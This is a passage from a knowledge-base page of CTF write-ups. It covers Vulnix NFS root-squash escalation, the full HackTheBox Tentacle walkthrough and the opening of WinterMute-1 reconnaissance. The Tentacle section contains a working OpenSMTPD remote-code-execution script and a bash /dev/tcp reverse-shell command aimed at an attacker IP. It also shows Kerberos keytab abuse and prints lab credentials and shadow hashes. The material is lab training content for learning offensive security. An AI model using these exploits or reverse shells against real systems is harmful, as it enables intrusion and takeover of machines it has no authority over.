root@kali:~# mount 192.168.66.18:/home/vulnix /mnt/vulnix
root@kali:~# cd /mnt/vulnix
root@kali:/mnt/vulnix# ls
local_shell
```

挂载后，获得了受害者计算机本地shell的副本，并将所有权和SID更改为root：

在受害者的机器上，如“vulnix”：

``` bash
vulnix@vulnix:~$ cp /bin/bash local_shell
vulnix@vulnix:~$ ls
local_shell
```

在本地计算机上，以`root`身份：

``` bash
root@kali:/mnt/vulnix# cat local_shell > spawn_root_shell
root@kali:/mnt/vulnix# ls
local_shell  spawn_root_shell
root@kali:/mnt/vulnix# chmod 4777 *
root@kali:/mnt/vulnix# ls -la
总用量 1828
drwxr-x--- 4 vulnix vulnix   4096 4月  16 02:33 .
drwxr-xr-x 3 root   root     4096 4月  15 23:00 ..
-rw------- 1 vulnix vulnix      0 4月  16 02:27 .bash_history
-rw-r--r-- 1 vulnix vulnix    220 4月   3  2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix   3486 4月   3  2012 .bashrc
drwx------ 2 vulnix vulnix   4096 4月  15 23:23 .cache
-rwsrwxrwx 1 vulnix vulnix 920788 4月  16 02:24 local_shell
-rw-r--r-- 1 vulnix vulnix    675 4月   3  2012 .profile
-rwsrwxrwx 1 root   root   920788 4月  16 02:33 spawn_root_shell
drwxr-xr-x 2 vulnix vulnix   4096 4月  15 23:21 .ssh
```

然后在受害人的机器上执行shell，并保留带有flag -p的原始文件的权限：

``` bash
vulnix@vulnix:~$ ls -la
total 1828
drwxr-x--- 4 vulnix vulnix   4096 Apr 16 07:33 .
drwxr-xr-x 4 root   root     4096 Sep  2  2012 ..
-rw------- 1 vulnix vulnix      0 Apr 16 07:27 .bash_history
-rw-r--r-- 1 vulnix vulnix    220 Apr  3  2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix   3486 Apr  3  2012 .bashrc
drwx------ 2 vulnix vulnix   4096 Apr 16 04:23 .cache
-rwsrwxrwx 1 vulnix vulnix 920788 Apr 16 07:24 local_shell
-rw-r--r-- 1 vulnix vulnix    675 Apr  3  2012 .profile
-rwsrwxrwx 1 root   root   920788 Apr 16 07:33 spawn_root_shell
drwxr-xr-x 2 vulnix vulnix   4096 Apr 16 04:21 .ssh
vulnix@vulnix:~$ ./spawn_root_shell -p
spawn_root_shell-4.2# id
uid=2008(vulnix) gid=2008(vulnix) euid=0(root) groups=0(root),2008(vulnix)
spawn_root_shell-4.2# whoami
root
spawn_root_shell-4.2# cd /root
spawn_root_shell-4.2# ls
trophy.txt
spawn_root_shell-4.2# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub257.jpg)

#### 知识点总结

 - 通过telnet连接收集用户名敏感信息
 - finger查看用户登录信息
 - 使用rpcinfo进行RPC枚举
 - 使用showmount进行NFS枚举
 - hydra爆破ssh密码
 - ssh key毒化攻击getshell
 - 特定linux UID权限用户登录挂载的NFS分区
 - 使用ssh私匙登录ssh
 - 用no_root_squash替换root_squash以停用安全功能，从而允许客户端的root权限操作最终使文件以root身份出现在导出的文件系统中（在其余客户端中）
 - 客户端本地以root身份运行cat命令拷贝shell文件，并chmod 4777赋予权限，最后执行shell文件加上-p参数提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end HackLAB-Vulnix -->

</details>

<a id="case-tentacle"></a>

## 代理、OpenSMTPD 与 keytab

DNS 与 Squid 影响内网服务访问，OpenSMTPD 连接初始账户。后半段保留 cron、Kerberos 和 keytab 的身份关系。

<p class="kb-provenance">来源 tentacle · 原记录 2021-01-31 · 31 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-tentacle">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start tentacle -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	23 Jan 2021
IP:	10.10.10.224

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb171.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.224
PORT     STATE  SERVICE      VERSION
22/tcp   open   ssh          OpenSSH 8.0 (protocol 2.0)
53/tcp   open   domain       ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
88/tcp   open   kerberos-sec MIT Kerberos (server time: 2021-01-31 01:37:21Z)
3128/tcp open   http-proxy   Squid http proxy 4.11
9090/tcp closed zeus-admin
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8
```

there’s a http server running on port 3128 let’s go there also nmap gave us a host: REALCORP.HTB

Got a username and a subdomain 😀 note these little hints, will be help us later 🙂 

``` bash
j.nakazawa@realcorp.htb
srv01.realcorp.htb (squid/4.11)
```

Also got hash while running GetNPUsers.py but that seems uncrackable, here I stucked for more hours and finally found the way that was fuzzing the other dommains

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# dnsenum --threads 64 --dnsserver 10.10.10.224 --file /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb 
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
proxy.realcorp.htb.                      259200   IN    CNAME    ns.realcorp.htb.                                                                  
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
wpad.realcorp.htb.                       259200   IN    A        10.197.243.31
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
```

So many domains and Ips 😦 But that can’t be easily accessible we need to use proxychains to enum it 🙂

update proxychains to avoid small errors 🙂

``` bash
apt-get install proxychains4
```

and need to add that proxy in our conf file. Edit /etc/proxychains.conf file

Here using dynamic chain you can also use strict chain 🙂

``` bash
http  10.10.10.224 3128
http  127.0.0.1 3128
http  10.197.243.77 3128
```

Add these things to the bottom of that conf file, then start enum

let’s nmap again 🙂 scan that .31 ip wpad.realcorp.htb

``` bash
proxychains -f /etc/proxychains.conf nmap -sT -Pn -v 10.197.243.31
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
464/tcp  open  kpasswd5
749/tcp  open  kerberos-adm
3128/tcp open  squid-http
```

sorted the nmap result coz it’s too long 😀

there’s a server running on port 80 let’s see that 😀 and remember need to use proxychains to view that page so

``` bash
proxychains -f /etc/proxychains.conf firefox wpad.realcorp.htb
```

add that to /etc/hosts file => “10.197.243.31 wpad.realcorp.htb”

got forbidden there 😦 but go to /wpad.dat able to download a file 🙂

Download and view that

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# proxychains -f /etc/proxychains.conf wget http://wpad.realcorp.htb/wpad.dat
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
--2021-01-30 21:21:33--  http://wpad.realcorp.htb/wpad.dat
正在解析主机 wpad.realcorp.htb (wpad.realcorp.htb)... 10.197.243.31
正在连接 wpad.realcorp.htb (wpad.realcorp.htb)|10.197.243.31|:80... [proxychains] Dynamic chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:3128  ...  10.197.243.31:80  ...  OK
已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：342 [application/octet-stream]
正在保存至: “wpad.dat”

wpad.dat                             100%[=====================================================================>]     342  --.-KB/s  用时 0s      

2021-01-30 21:21:37 (41.1 MB/s) - 已保存 “wpad.dat” [342/342])

┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# ls
wpad.dat
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# cat wpad.dat 
function FindProxyForURL(url, host) {
    if (dnsDomainIs(host, "realcorp.htb"))
        return "DIRECT";
    if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0"))
        return "DIRECT"; 
    if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0"))
        return "DIRECT"; 
 
    return "PROXY proxy.realcorp.htb:3128";
}
```

look another IP 😦 let’s scan that there’s 10.197.243.0 but we already done that so let’s try that second IP

scanned that whole IP range and I found the IP 10.241.251.113 and there is smtp port opened 🙂

``` bash
proxychains -f /etc/proxychains.conf nmap -sT -sV -Pn 10.241.251.113
....
Nmap scan report for 10.241.251.113
Host is up (1.1s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    OpenSMTPD
Service Info: Host: smtp.realcorp.htb
....
```

fine there’s OpenSMTPD running let’s search some exploits for this on internet 🙂

``` bash
google OpenSMTPD exploit
```

Sounds good 🙂 let’s try that (tried many exploits in python, perl and one in metasploit)

But looks like need to modify our exploit to pop a shell, so I edited a exploit that I found from [Remote code execution in OpenSMTPD](https://blog.firosolutions.com/exploits/opensmtpd-remote-vulnerability/)

simply modified that exploit to get shell 🙂 here is it

 - getshell.py

``` bash
import socket, time
import sys
if len(sys.argv) < 4:
    print("usage: script.py <host> <port> <command>")
    exit()
HOST = sys.argv[1]
PORT = int(sys.argv[2])
rev_shell_cmd = sys.argv[3]
payload = b"""\r\n

#0\r\n
#1\r\n
#2\r\n
#3\r\n
#4\r\n
#5\r\n
#6\r\n
#7\r\n
#8\r\n
#9\r\n
#a\r\n
#b\r\n 
#c\r\n
#d\r\n
""" + rev_shell_cmd.encode() + b"""
.
"""
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
    af, socktype, proto, canonname, sa = res
    try:
        s = socket.socket(af, socktype, proto)
    except OSError as msg:
        s = None
        continue
    try:
        s.connect(sa)
    except OSError as msg:
        s.close()
        s = None
        continue
    break
if s is None:
    print('could not open socket')
    sys.exit(1)
with s:
    data = s.recv(1024)
    print('Received', repr(data))
    time.sleep(1)
    print('SENDING HELO')
    s.send(b"helo test.com\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n")
    time.sleep(1)
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"RCPT TO:<j.nakazawa@realcorp.htb>\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"DATA\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(payload)
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"QUIT\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
print("Exploited Check you netcat :D")
s.close()
```

start a netcat listener and run that above script like this

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# proxychains -f /etc/proxychains.conf python3 getshell.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/10.10.14.25/3334 <&1"'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Dynamic chain  ...  10.10.10.224:3128  ...  127.0.0.1:3128  ...  10.197.243.77:3128  ...  10.241.251.113:25  ...  OK
Received b'220 smtp.realcorp.htb ESMTP OpenSMTPD\r\n'
SENDING HELO
RECIEVED b'250 smtp.realcorp.htb Hello test.com [10.241.251.1], pleased to meet you\r\n'
RECIEVED b'250 2.0.0 Ok\r\n'
RECIEVED b'250 2.1.5 Destination address valid: Recipient ok\r\n'
RECIEVED b'354 Enter mail, end with "." on a line by itself\r\n'
RECIEVED b'250 2.0.0 f1c85e8f Message accepted for delivery\r\n'
RECIEVED b'221 2.0.0 Bye\r\n'
Exploited Check you netcat :D
```

and got a shelll

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 3334                                                                                                                                   
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::3334
Ncat: Listening on 0.0.0.0:3334
Ncat: Connection from 10.10.10.224.
Ncat: Connection from 10.10.10.224:52864.
bash: cannot set terminal process group (12): Inappropriate ioctl for device
bash: no job control in this shell
root@smtp:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@smtp:~# whoami
whoami
root
```

Cool we got shell as root user of smtp

#### PRIVESC TO USER

try to search for creds

``` bash
root@smtp:/home/j.nakazawa# cat .msmtprc
cat .msmtprc
# Set default values for all following accounts.
defaults
auth           on
tls            on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile        /dev/null

# RealCorp Mail
account        realcorp
host           127.0.0.1
port           587
from           j.nakazawa@realcorp.htb
user           j.nakazawa
password       sJB}RM>6Z~64_
tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60

# Set a default account
account default : realcorp
```

Quickly got creds 😀 that’s located in /home/j.nakazawa

but sadly can’t able to ssh with it 😦 need to use kerbos to generate a ticket and use that ticket to log in as the user, let’s do that

Make sure installed that, If not then do it with the below commands

``` bash
apt-get install krb5-user
```

then modify /etc/hosts and /etc/krb5.conf files

``` bash
10.10.10.224    srv01.realcorp.htb
```

make sure have this host in /etc/hosts file

``` bash
default_realm = REALCORP.HTB

REALCORP.HTB = {
        kdc = 10.10.10.224
        }
```

and add this on /etc/krb5.conf file

then going to generate the ticket

``` bash
──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# kinit j.nakazawa
Password for j.nakazawa@REALCORP.HTB:
```

use this to generate the ticket, it asks for password, Enter the password that we got above in /home/j.nakazawa folder

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: j.nakazawa@REALCORP.HTB

Valid starting       Expires              Service principal
2021-01-30T22:12:34  2021-01-31T22:10:00  krbtgt/REALCORP.HTB@REALCORP.HTB
```

use this commands to check the available tickets

There you go simply log in, this time it won’t asks password. If it asks for password you done a mistake anywhere 😦 correct it and try again

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tentacle]
└─# ssh j.nakazawa@10.10.10.224
The authenticity of host '10.10.10.224 (10.10.10.224)' can't be established.
ECDSA key fingerprint is SHA256:eWzMB5HoqVH++9udWLB4bYS/8KguhJxNZPtZ3JLc3oo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.224' (ECDSA) to the list of known hosts.
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Thu Dec 24 06:02:06 2020 from 10.10.14.2
[j.nakazawa@srv01 ~]$ id
uid=1000(j.nakazawa) gid=1000(j.nakazawa) 组=1000(j.nakazawa),23(squid),100(users) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[j.nakazawa@srv01 ~]$ whoami
j.nakazawa
[j.nakazawa@srv01 ~]$ ls
user.txt
[j.nakazawa@srv01 ~]$ cat user.txt
3e644f8b453a335ba99548e35919b78e
```

Good here we logged as j.nakazawa fastly grab the user.txt and follow my steps, here after it’s a headache to go forward

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb172.jpg)


#### PRIVESC TO ADMIN

``` bash
[j.nakazawa@srv01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
* * * * * admin /usr/local/bin/log_backup.sh
```

fine while seeing the crontab there’s a file running named “log_backup.sh”, let’s view it 🙂

``` bash
[j.nakazawa@srv01 ~]$ cat /usr/local/bin/log_backup.sh
#!/bin/bash

/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log
/usr/bin/rm -f access.log cache.log
```

It backups everything from /var/log/squid to /home/admin

So if we put something in that squid folder then it’ll be copied to admin’s folder, fine now let’s create a log in file then we can log as admin coz it copied to that admin’s folder

now create a file named .k5login

``` bash
[j.nakazawa@srv01 ~]$ echo "j.nakazawa@REALCORP.HTB" > .k5login
[j.nakazawa@srv01 ~]$ ls -la
总用量 20
drwxr-x---. 2 j.nakazawa j.nakazawa 131 1月  31 03:22 .
drwxr-xr-x. 4 root       root        37 11月  3 15:22 ..
lrwxrwxrwx. 1 root       root         9 12月  9 08:26 .bash_history -> /dev/null
-rw-r--r--. 1 j.nakazawa j.nakazawa  18 11月  8 2019 .bash_logout
-rw-r--r--. 1 j.nakazawa j.nakazawa 141 11月  8 2019 .bash_profile
-rw-r--r--. 1 j.nakazawa j.nakazawa 312 11月  8 2019 .bashrc
-rw-rw-r--. 1 j.nakazawa j.nakazawa  24 1月  31 03:22 .k5login
lrwxrwxrwx. 1 root       root         9 12月  9 12:30 .lesshst -> /dev/null
-r--------. 1 j.nakazawa j.nakazawa  33 1月  31 01:12 user.txt
[j.nakazawa@srv01 ~]$ cat .k5login
j.nakazawa@REALCORP.HTB
```

``` bash
cp .k5login /var/log/squid
```

then copy this file to /var/log/squid folder. can’t able to go to that folder (permissions denied) but we can copy this file there, so do that

``` bash
┌──(root💀kali)-[~]
└─# ssh admin@srv01.realcorp.htb
The authenticity of host 'srv01.realcorp.htb (10.10.10.224)' can't be established.
ECDSA key fingerprint is SHA256:eWzMB5HoqVH++9udWLB4bYS/8KguhJxNZPtZ3JLc3oo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'srv01.realcorp.htb' (ECDSA) to the list of known hosts.
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Sun Jan 31 03:27:01 2021
[admin@srv01 ~]$ id
uid=1011(admin) gid=1011(admin) 组=1011(admin),23(squid) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[admin@srv01 ~]$ whoami
admin
[admin@srv01 ~]$ ls
squid_logs.tar.gz.2021-01-31-032501  squid_logs.tar.gz.2021-01-31-032601  squid_logs.tar.gz.2021-01-31-032701
```

after doing that try to log in as admin (try 2~3 times) some times it takes time to copy that log in file

#### ADMIN TO ROOT

fine now we’re admin after enuming some time this file seems interesting “krb5.keytab” it’s located in /etc folder.

``` bash
[admin@srv01 ~]$ klist -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
```

So what’s a keytab file?

A keytab is a file containing pairs of Kerberos principals and encrypted keys (which are derived from the Kerberos password). You can use a keytab file to authenticate to various remote systems using Kerberos without entering a password.

note that bolded text now we’re going to do that 😀

``` bash
kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
```

run this

``` bash
add_principal root@REALCORP.HTB
```

then the kadmin’s console tab will open, add this principle into it

``` bash
[admin@srv01 ~]$ kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
Couldn't open log file /var/log/kadmind.log: Permission denied
Authenticating as principal kadmin/admin@REALCORP.HTB with keytab /etc/krb5.keytab.
kadmin:  add_principal root@REALCORP.HTB
No policy specified for root@REALCORP.HTB; defaulting to no policy
Enter password for principal "root@REALCORP.HTB": 
Re-enter password for principal "root@REALCORP.HTB": 
Principal "root@REALCORP.HTB" created.
```

Then it ask’s to create password, create a password there then exit that kadmin’s console, just type exit

``` bash
[admin@srv01 ~]$ ksu root
WARNING: Your password may be exposed if you enter it here and are logged 
         in remotely using an unsecure (non-encrypted) channel. 
Kerberos password for root@REALCORP.HTB: : 
Authenticated root@REALCORP.HTB
Account root: authorization for root@REALCORP.HTB successful
Changing uid to root (0)
[root@srv01 admin]# id
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@srv01 admin]# whoami
root
[root@srv01 admin]# cd
[root@srv01 ~]# ls
anaconda-ks.cfg  Linux_release_checklist.sh  root.txt
[root@srv01 ~]# cat root.txt
9b46410371881ac43708ca604eb10aab
```

then type ksu root and it ask’s for password just type the password that you’ve created above in kadmin’s console 😀

``` bash
[root@srv01 ~]# cat /etc/shadow
root:$6$2ZKaulGjQ1QUYQHO$OmVJBK0.VeikBcOsxyrLfPCEkrfo6S8SJmHd4FH7el9vHcduJrO7jHYEHjIN7Z4n1c3KBLNe5L9inXSgeBsNS.:18605:0:99999:7:::
bin:*:18358:0:99999:7:::
daemon:*:18358:0:99999:7:::
adm:*:18358:0:99999:7:::
lp:*:18358:0:99999:7:::
sync:*:18358:0:99999:7:::
shutdown:*:18358:0:99999:7:::
halt:*:18358:0:99999:7:::
mail:*:18358:0:99999:7:::
operator:*:18358:0:99999:7:::
games:*:18358:0:99999:7:::
ftp:*:18358:0:99999:7:::
nobody:*:18358:0:99999:7:::
dbus:!!:18602::::::
systemd-coredump:!!:18602::::::
systemd-resolve:!!:18602::::::
tss:!!:18602::::::
polkitd:!!:18602::::::
libstoragemgmt:!!:18602::::::
cockpit-ws:!!:18602::::::
cockpit-wsinstance:!!:18602::::::
sssd:!!:18602::::::
sshd:!!:18602::::::
chrony:!!:18602::::::
rngd:!!:18602::::::
unbound:!!:18602::::::
squid:!!:18602::::::
named:!!:18602::::::
nginx:!!:18602::::::
j.nakazawa:$6$W68LBvOuL0H13AqJ$G4JdGleMyHdzvBmpcV7JiLupa3bosgxHj.aUfxcydXIODXuepjj6uUIQ/5E2THv2sf5Qhp7qtBIEu4kmNl2pU1:18604:0:99999:7:::
admin:!!:18605:0:99999:7:::
setroubleshoot:!!:18620::::::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb173.jpg)

#### Summary of knowledge

 - usage of proxychains
 - dnsenum fuzz subdomains
 - OpenSMTPD Remote code execution
 - use kerbos to generate ticket
 - use crontab to copy files
 - use keytab file to authenticate to various remote systems using Kerberos without entering a password to get root

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end tentacle -->

</details>

<a id="case-wintermute-1"></a>

## 双主机网络与 LXD 边界

Straylight 与 Neuromancer 的网络隔离要求分层转发。原文保留 Struts、TTY、SSH 和 LXD 的两台主机路线与替代提权方法。

<p class="kb-provenance">来源 WinterMute-1 · 原记录 2020-01-13 · 72 个代码块 · 17 处图片引用</p>

<details class="kb-evidence" id="record-wintermute-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start WinterMute-1 -->

#### 名称
名称：WinterMute: 1
发布日期：2018年7月5日

#### 下载
 - Download: https://drive.google.com/open?id=1bHgdx0iI24jv7MDzKcrIPtd9rVFaVokR
 - Download (Mirror): https://download.vulnhub.com/wintermute/Wintermute-v1.zip
 - Download (Torrent): https://download.vulnhub.com/wintermute/Wintermute-v1.zip.torrent



#### 描述
一个新的OSCP风格实验室，涉及2台易受攻击的机器，以赛博朋克经典Neuromancer为主题-任何网络安全爱好者都必须阅读。该实验室利用了数据透视和后期开发，而我发现其他OSCP预处理实验室似乎缺乏。目标是在两台计算机上都root。您只需要默认的Kali Linux。

我将其评为“中级”。没有缓冲区溢出或漏洞利用开发-可以使用小的字典进行任何必要的密码破解。它与OSCP盒而不是CTF更为相关。我已经测试了很多，但是如果您发现任何问题或需要在这里微调我。

压缩下载中包含Virtual Box Lab的安装说明，但是这里有一个简短的摘要：Straylight-模拟带有2个NICS的面向公众的服务器。首先盖上此盖，然后转到最后一台机器。Neuromancer-在具有1个NIC的非公共网络中。您的Kali框应仅与Straylight位于同一虚拟网络上。需要VirtualBox。VMware无法正确导入。

#### 网络配置

Wintermute Vitrual Box设置指南本练习利用了数据透视，因此需要正确设置VirtualBox网络。所有动态ip都快速简便。运行或将每台计算机导入Virtual Box（文件>>导入设备）

STRAYLIGHT（网络＃1和＃2）-这是第一台获得root权限的计算机。
- Adapter 1 
	- Host-only Adapter
	- VirtualBox Host-Only Ethernet Adapter #1
	Advanced (we want 2 NIC's, each on a separate network)
	- Adapter Type - Intel PRO/1000 T Server 
- Adapter 2
	- Host-only Adapter
	- VirtualBox Host-Only Ethernet Adapter #2
	Advanced
	- Adapter Type - Intel PRO/1000 MT Desktop (or other adapter type different than network #1).

NEUROMANCER（网络2）-这是获得root的最终机器。设置为具有1个网络。仅通过Straylight使用仅限主机的Eth适配器＃2访问。
- Adapter 1
	- Host-only Adapter
	- VirtualBox Host-Only Ethernet Adapter #2
	Advanced
	- Adapter Type - Intel PRO/1000 MT Desktop

KALI（网络＃1）-您的攻击机器仅应在仅主机的适配器上设置，Straylight处于打开状态，如果选择，则为NAT。-您不应该从Kali盒中对Neuromancer进行ping操作。如果可以的话，你在作弊。

- Adapter 1
	- Host-only Adapter
	- VirtualBox Host-Only Ethernet Adapter #1

![](https://www.baslub.nl/wp-content/uploads/2019/01/Network-setup-768x332.png)

网络这样设置以便于通关了STRAYLIGHT之后，再通关NEUROMANCER

#### Wintermute-Straylight

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.111
Host is up (0.00011s latency).
MAC Address: 08:00:27:50:96:D9 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -sV -Pn -T5 -v -A --script=vuln 192.168.56.111
PORT     STATE SERVICE VERSION
25/tcp   open  smtp    Postfix smtpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_WITH_AES_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 2048
|             Generator Length: 8
|             Public Key Length: 2048
|     References:
|_      https://www.ietf.org/rfc/rfc2246.txt
|_sslv2-drown: 
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /manual/: Potentially interesting folder
|_http-server-header: Apache/2.4.25 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3000/tcp open  http    Mongoose httpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.111
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.111:3000/
|     Form id: 
|_    Form action: /authorize.html
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter: 
|   
|_    Couldn't find a file-type field.
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
|_http-passwd: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trane-info: Problem with XML parsing of /evox/about
| http-vuln-cve2010-0738: 
|_  /jmx-console/: Authentication was not required
```

访问80端口

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub156.jpg)

访问3000端口

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub157.jpg)

发现下方有提示说用户密码都是admin，然后直接登录

``` bash
Hint: the default user and password are admin
```
发现有一些目录

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub158.jpg)

然后访问http://192.168.56.111/turing-bolo/

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub159.jpg)

点击之后显示如下

